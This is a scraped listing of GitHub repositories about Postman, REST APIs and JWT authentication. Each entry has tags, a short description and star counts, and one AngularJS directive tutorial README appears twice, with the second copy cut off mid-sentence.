smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
|
jjian4/Task-Manager-API account, auth, authentication, task, tasks, test, testing, token, tokens, user, users |
Create, read, update, delete users and tasks. Uses web tokens for account authentication. Built using Node.js, Express.js, and MongoDB/Mongoose. Used Postman for testing. | 0 stars | 0 watchers | 0 forks |
|
ahmedsaoudi85/Airbnb-Style-App-with-react-redux-express-and-mongodb application, express, form, mongo, mongod, mongodb, react, redux, token, tokens |
full stack application using Node.js, Express, React, Redux, Redux form, MongoDb, Amazon S3, Stripe,JWT tokens, Postman, ES6 | 0 stars | 0 watchers | 0 forks |
|
aisabel/Postman-pinterestExamples access, account, dashboard, rest, rest api, spec, token, tokens |
This repository is just to access pinterest api and create dashboards in a specific account using tokens. | 0 stars | 0 watchers | 0 forks |
|
sa-webb/firebase-tokens-util firebase, token, tokens, util |
Basic Firebase Tokens API for Postman | 0 stars | 0 watchers | 0 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
tripathysagar/AUK collection, document, file, generator, path, postman collection, result, version |
first version of document generator for postman collection result. please run main.py , and update the name of the file in main.py | 1 stars | 1 watchers | 0 forks |
|
beata-krasnopolska/TodoApi class, controller, data, database, learn, method, methods, model, path, routing, tutorial |
The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. | 0 stars | 0 watchers | 0 forks |
|
cshah2/nGage-AdminAPI collection, path, postman collection, test |
Repository contains postman collection for nGage Admin API happy path test | 0 stars | 0 watchers | 0 forks |
|
deepakpathania/postman-collection-examples collection, document, documentation, example, examples, path |
Formatted examples of the postman-collection documentation as individual examples. | 0 stars | 0 watchers | 0 forks |
|
john-lock/postman-export-formatter default, description, export, exports, file, form, format, formatter, path, script, upload, user, users |
A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM | 0 stars | 0 watchers | 0 forks |
|
paigemoody/postman-paths http, path, test, unit, web app |
Shortest path web app for community organizers. Live at: http://www.weavewalk.me | 0 stars | 0 watchers | 0 forks |
|
raviteja548/xpath-postman embedded, json, path, sequence, steps, version |
Involves a sequence of steps in conversion of set of set of xpath to json request and further this request will be embedded in postman | 0 stars | 0 watchers | 0 forks |
|
rupathouti/TodoRESTAPI header, path, token |
With JWT token in header of Postman | 0 stars | 0 watchers | 0 forks |
|
elioncho/apikiller collection, collections, config, configure, endpoint, execution, form, test, testing, tool |
Simpe and easy to use load testing tool for your Postman collections. Perform a load test on any endpoint. You can configure the execution time and amount of requests per second. | 2 stars | 2 watchers | 0 forks |
|
committedtester/postman_newman_test_framework execution, framework, newman, node, test, tester |
Postman execution via node for Continuous Integration | 0 stars | 0 watchers | 0 forks |
|
ankurjain00/postman-javascript-api-tesing execution, implementation, java, javascript, sample, script, tesing, test, tests |
This is a sample implementation of API tests in Postman with JavaScript with execution in Newman | 0 stars | 0 watchers | 0 forks |
|
Ayorinde-Codes/RequestLogger agent, browser, data, database, execution, logs, package |
A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call | 0 stars | 0 watchers | 0 forks |
|
Hot-Tomali/postman_scripts evaluation, execution, script, scripts |
Scripts for evaluation and execution in Postman | 0 stars | 0 watchers | 0 forks |
|
htech10/himanshu-qloyalcodetest-api docker, execution, jenkins, light, newman, test, tests |
lightbulb api tests execution using postman, newman , jenkins and docker | 0 stars | 0 watchers | 0 forks |
|
nand1234/newman-javascript execution, java, javascript, newman, problem, script, test |
problematically postman test script execution using Newman | 0 stars | 0 watchers | 0 forks |
|
PaulGilchrist/postman-load-test execution, parallel, simulate, test |
Enhancement for PostMan allowing for parallel execution of API calls to simulate load or stress conditions | 0 stars | 0 watchers | 0 forks |
|
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary execution, form, format, information, integration, move, moved, package, pipeline, script, scripts |
Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. | 0 stars | 0 watchers | 0 forks |
|
deeplook/ipyrest book, books, emerging, exploring, note, rest |
An emerging widget for exploring RESTful APIs in Jupyter notebooks. | 17 stars | 17 watchers | 1 forks |
|
transferwise/public-api-postman-collection collection, exploring, public, test, testing, transferwise |
A Postman collection for exploring and testing the TransferWise public API | 0 stars | 0 watchers | 3 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 1 stars | 1 watchers | 1 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 1 stars | 1 watchers | 1 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 0 stars | 0 watchers | 3 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 1 stars | 1 watchers | 0 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 0 stars | 0 watchers | 0 forks |
|
roachdaddy89/PostMate-Rest-App application, exploring, native, react, route, routes, storing |
PostMate is a react-native application for exploring and storing custom api routes like postman. | 0 stars | 0 watchers | 0 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our 